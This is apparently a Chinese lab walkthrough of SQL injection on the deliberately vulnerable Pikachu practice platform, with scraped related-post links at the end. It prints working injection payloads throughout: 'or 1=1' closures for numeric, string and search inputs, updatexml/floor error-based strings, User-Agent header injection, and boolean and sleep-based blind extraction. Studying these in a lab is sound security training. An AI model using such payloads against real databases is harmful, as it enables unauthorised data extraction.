pikaqiu练习平台(SQL注入 )
sql注入漏洞 (危害是最大得)
Sql注入
数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞。
Sql注入攻击流程:
1. 注入点探测
自动方式:使用web漏洞扫描工具,自动进行注入点发现
手动方式:手工构造sql inject测试语句进行注入点发现
2. 信息获取
通过注入点取得期望得到的数据:
1. 环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
2. 数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)
3. 获取权限 获取操作系统权限:通过数据库执行shell,上传木马
3.sql注入类型: 数字型 user_id=$id
字符型 user_id='$id'
搜索型 text like '%{$_GET['search']}' "
select 字段1 from table where id=1 会显示表中第一行信息
select 字段1 from table where id=1 or 1=1 会显示表中所有信息
Get方式中使用url提交注入数据;
post方式中使用抓包工具修改post数据部分提交注入
注入方法可参考sqli-labs实验方法:https://www.cnblogs.com/199904-04/p/12296733.html
一、SQL数字型注入(post)
选择1,查询;

进行抓包,并发送到repeater;

修改id为1 or 1=1 ,可以看到id全部列出;

查看源码,这里post请求直接把id带到SQL·语句中,没有做任何处理,所以id这里存在sql注入漏洞;

二、SQL字符型注入(get)
输入kobe,查询;

因为是字符型的注入,我们可以使用做sqli-labs方法进行尝试,加单引号、双引号、括号、以及他们的组合,这里需要注意闭合后面注释,我们输入 kobe’ or 1=1#’

我们查看源码,发现这里的变量是字符型,需要构造闭合;

三、SQL搜索型注入
查看源码,可以发现需要构造闭合,且闭合需要有’%

在数据库中查询语句为 select username,id,email from member where username like '%$name%'
所以在这我们使用xxx%’ or 1=1#进行查询;闭合成功,遍历用户所有信息;
四、SQLxx型注入
数据库中查询语句为select id,email from member where username=('$name')
则闭合为xx’) or 1=1# 可遍历用户所有信息;

五、Insert/updata/delete注入(使用报错注入)


基于insert/undata下的报错
Ztt’or updatexml(1,concat(0x7e,database()),0)or ‘
基于delete下的报错
1 or updatexml(1,concat(0x7e,database()),0)
基于floor()
Kobe’ and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema,tables group by x)a)#
基于delete下的报错
1 or updatexml(1,concat(0x7e,database()),0)
先删除一个留言,抓包,然后 发送到repeater;

看源码可知id是一个数字型;

在repeater中修改id并转码;

在右边的界面拉到最后就会有报错信息的显示;

六、http头注入
有时候后台开发人员为了验证客户信息(比如cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等 会对客户端的http header信息进行获取并使用sql进行处理,如果此时没有足够的安全考虑则可能会导致基于http header 的sql inject漏洞。
admin 123456 登录;

进行抓包,并发送到repeater,修改user-agent
firefox’or updatexml(1,concat(0x7e,database()),0)or ‘

七、盲注
在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错,此时无法在根据报错信息来进行注入的判断,这种情况下的注入,称为“盲注”;
盲注分为:based boolean
Based time
based boolean
表现:
1.没有报错信息
2.结果都只显示两种情况(0或1)
3.在正确的输入下,输入and 1=1/and 1=2可以判断
输入 Kobe’ and ascii(substr(database(),1,1))>113#

输入 kobe' and ascii(substr(database(),1,1,))=112# 输出正确;

将database()换成
Select table_name from information_schema.tables where table_schema=database() limit 0, 1
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0, 1)
,1,1,))>112# 也是可以的;
Based time
kobe’ and sleep(5)# 页面会停顿5秒;

通过这个可以判断构造语句是否正确
kobe’ and if((substr(database(),1,1))=‘a’,sleep(5),null)#
猜测第一个字符是否是a (a-z)

我们可以将database()换成select table_name from information_schema.tables where table_schema=database() limit 0, 1 也是可以的。
pikaqiu练习平台(SQL注入 )的更多相关文章
- 第三百九十二节,Django+Xadmin打造上线标准的在线教育平台—sql注入攻击,xss攻击,csrf攻击
第三百九十二节,Django+Xadmin打造上线标准的在线教育平台—sql注入攻击,xss攻击,csrf攻击 sql注入攻击 也就是黑客通过表单提交的地方,在表单里输入了sql语句,就是通过SQL语 ...
- DVWA漏洞演练平台 - SQL注入
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...
- SQL注入测试平台 SQLol -1. 简介与安装
最近下载了SQLol测试了一下,感觉挺好玩的,做一下记录. SQLol是一个可配置得SQL注入测试平台,它包含了一系列的挑战任务,让你在挑战中测试和学习SQL注入语句,SQLol还是比较有创意的项目. ...
- SQL注入之DVWA平台测试mysql注入
今天主要针对mysql常用注入语句进行测试. 测试环境与工具: 测试平台:DVWA,下载地址:http://down.51cto.com/data/875088,也可下载metaspolit-tabl ...
- Pikachu漏洞练习平台实验——SQL注入(四)
1.概述 1.1发生原因 SQL注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄 ...
- Sqli-labs 搭建SQL注入平台
sqli-labs是一款学习sql注入的开源平台,共有75种不同类型的注入. 搭建步骤: 1.在Windows系统中安装WAMP 下载地址:https://pan.baidu.com/s/1HY0hF ...
- DAY5 php + mysql 写一个简单的sql注入平台
php mysql 在浏览器输入用户名,去数据库查询.查到则显示在浏览器,查不到则显示空. sql 里面三个字段 id username password create table t1 (id in ...
- SQL注入测试平台 SQLol -6.CHALLENGES挑战
SQLol上面的挑战共有14关,接下来我们一关一关来突破. Challenge 0 目的是让查询返回所有的用户名,而不是只有一个. SELECT username FROM users WHERE u ...
- SQL注入测试平台 SQLol -2.SELECT注入测试
前面,我们已经安装好了SQLol,打开http://localhost/sql/,首先跳转到http://localhost/sql/select.php,我们先从select模块进行测试. 一条完成 ...
随机推荐
- VUE 是个 M V VM框架
vue基本使用 new出来一个Vue的实例,传一堆配置参数,控制一片html VM: 响应系统 - > vDOM做标记 ->一个循环周期结束后->操作DOM new Vue 返回 V ...
- 【macOS使用技巧】使用空格键快速预览文件内容
Quickview 是mac系统上一个强大的预览功能, 可以预览 mp4 mov等音频文件, 当然图片.文本.也都可以进行预览. 在系统中如果你希望快速浏览一下文件而不想打开的文件的话只要选择文件然后 ...
- 清北学堂—2020.1提高储备营—Day 3(图论初步(一))
qbxt Day 3 --2020.1.19 济南 主讲:李奥 目录一览 1.图论(图.图的存储方式.最小生成树的定义) 总知识点:图论 前言:众所周知,图论是一个非常重要的部分,而这次集训也可以算从 ...
- Java源码系列2——HashMap
HashMap 的源码很多也很复杂,本文只是摘取简单常用的部分代码进行分析.能力有限,欢迎指正. HASH 值的计算 前置知识--位运算 按位异或操作符^:1^1=0, 0^0=0, 1^0=0, 值 ...
- C++\CLI使用.net委托,*Callback注意"this"
今天在使用c++\cli的时候遇到了点关于委托,callback使用的问题,简单记录一下 首先贴段简单的C#中使用System.Threading.Timer的代码. Timer GameTim ...
- Android实战项目——家庭记账本(一)
今天是家庭记账本APP开发的第一天,主要是做了一部分UI设计,不得不说,虽然web开发和Android开发有很多相似的地方,但是一个Android APP是很难三个小时开发完成的. 通过今天的学习与开 ...
- 剑指offer-面试题45-把数组排成最小的数-规律
/* 题目: 给定一个int数组,返回数组中各数字排成的最下字符串. */ /* 思路: 比较两个数字之间的先后顺序,谁排在前面更小,从而对数组进行排序,得到结果. 两个数字先后顺序的比较方法:两个数 ...
- 3.3 Zabbix容器安装
课程资料:https://github.com/findsec-cn/zabbix 1. yum install docker-latest :安装最新的docker ,选择 y ,等待自 ...
- CodingPlus Blog Update Info
CodingPlus更新啦! 我就是记录一下!您想知道现在的博客是第几代的吗?您想知道CodingPlus博客的发展历程吗?来,让我们一起看看! V3.5 最新版了! V3.5.0 很多人看到自然觉得 ...
- PHP中根据二维数组中某个字段实现排序
想要实现二维数组中根据某个字段排序,一般可以通过数组循环对比的方式实现.这里介绍一种更简单的方法,直接通过PHP函数实现.array_multisort() :可以用来一次对多个数组进行排序,或者根据 ...